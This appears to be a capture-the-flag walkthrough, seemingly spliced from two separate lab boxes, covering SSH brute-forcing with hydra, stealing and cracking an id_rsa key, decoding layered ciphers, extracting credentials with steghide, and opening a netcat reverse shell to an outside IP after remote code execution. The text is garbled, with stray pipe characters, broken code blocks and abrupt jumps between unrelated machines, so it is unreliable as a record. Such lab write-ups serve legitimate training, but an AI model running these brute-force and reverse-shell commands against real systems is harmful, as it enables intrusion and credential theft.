From the `staff.txt` that we just grabbed , we can find two usernames `jan` and `kay`.

```
|

Announcement to staff:
|
||||||
|
|
||||||
|
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
|
||||||
|
this is how mistakes happen. (This means you too, Jan!)

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
|
||||||
|
and I was able to crack your hash really easily. You know our password policy, so please follow
|
||||||
|
it? Change that password ASAP.

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
|
||||||
|
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
|
||||||
|
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
|
||||||
|
using version 2.5.12, because other versions were giving me trouble. -K

## Hydra
|
||||||
|
|
||||||
|
Now jan is the username we found and it has a weak password so lets bruteforce it using hydra and we know that there is ssh runnin on the box so,
|
||||||
|
|
||||||
|
```
|
||||||
|
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.207.136

Visti kay's home directory and there you can read `.ssh/id_rsa` private key for logging into ssh , send and receive it through netcat
|
||||||
|
|

|
<img src="https://imgur.com/WDpCcKJ.png"/>
|
||||||
|
|
||||||
|
But we still cannot login because that `id_rsa` is password protected

|

|

Use `ssh2john` to get hash of `id_rsa` file
|

|
|

|
```
|

root@kali:~/TryHackMe/Easy/BasicPentesting# /usr/share/john/ssh2john.py id_rsa > hash_for_id_rsa
|

```
|

Now run `john hash_for_id_rsa`

## PORT 22
|
||||||
|
|
||||||
|
Noramlly this is default port 22 but in this case it is http if you visit it on firefox it has restricted default ports like ssh , ftp and etc so inorder to enable we have to go to browser's `about:config` and a property to override theses settings

|

|
|
||||||
|
We can find two things `/recovery.php` and a base64 encoded text
|
||||||
|
|
||||||
|
|
||||||
|
On decoding the text
|
||||||
|
|
||||||
|
```
|
||||||
|
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq

This is base32 encoded text on decoding it

Now this is hex text on decoding it

This is ROT 13 (Shift Cipher)

|
||||||
|
|
||||||
|
```
|
||||||
|
Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S
|
||||||
|
```
|
||||||
|
|
||||||
|
On visiting the link
|
||||||
|
|
||||||
|
<img src="https://imgur.com/WPPtesd.png"/>
|
||||||
|
|
||||||
|
Now its says about `Stegosauria` , now we recently downloaded two images on our machines ,so that dinosaur one looks interesting on using `steg hide --extract -sf [image.jpg]`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/D8Dp9o2.png"/>
|
||||||
|
|
||||||
|
<img src="https://imgur.com/HL9DDof.png"/>
|
||||||
|
|
||||||
|
So this a rabbithole , lets steghide on different image , the second `jackinthebox.jpg` also didn't worked but when grabbed the `header.jpg` it worked
|
||||||
|
|
||||||
|
<img src="https://imgur.com/SNAzsSc.png"/>
|
||||||
|
|
||||||
|
```
|
||||||
|
Username: jackinthebox
|
||||||
|
Password: TplFxiSHjY
|
||||||
|
```
|
||||||
|
However this is not the credentials for SSH
|
||||||
|
|
||||||
|
<img src="https://imgur.com/vYObw7r.png"/>
|
||||||
|
|
||||||
|
Now this is a RCE execution we can run a reverse shell here
|
||||||
|
|
||||||
|
```
|
||||||
|
nc -e /bin/sh 10.14.3.143 4444
|
||||||
|
|
||||||
|
```
|
||||||
|
You can run any reverse shell you want but `netcat` one worked so lets roll with it
|
||||||
|
|
||||||
|
<img src="https://imgur.com/bXY0z0b.png"/>
|
||||||
|
|
||||||
|
Now we are `www-data` can't run really do much so lets try to elevate our privileges,so lets enumerate the machine , upload `linepeas`
|
||||||
|
|
||||||
|
<img src="https://imgur.com/1bwVyii.png"/>
|
||||||
|
|
||||||
|
Linpeas didn't find anyhting useful so there is a file in `~` home directory `jacks_password_list`
|
||||||
|
|
||||||

## Hydra
|
||||||
|
|
||||||

Now we need to specify the port number becasue it's not on port 22
|
||||||
|
|
||||||
|
```
|
||||||
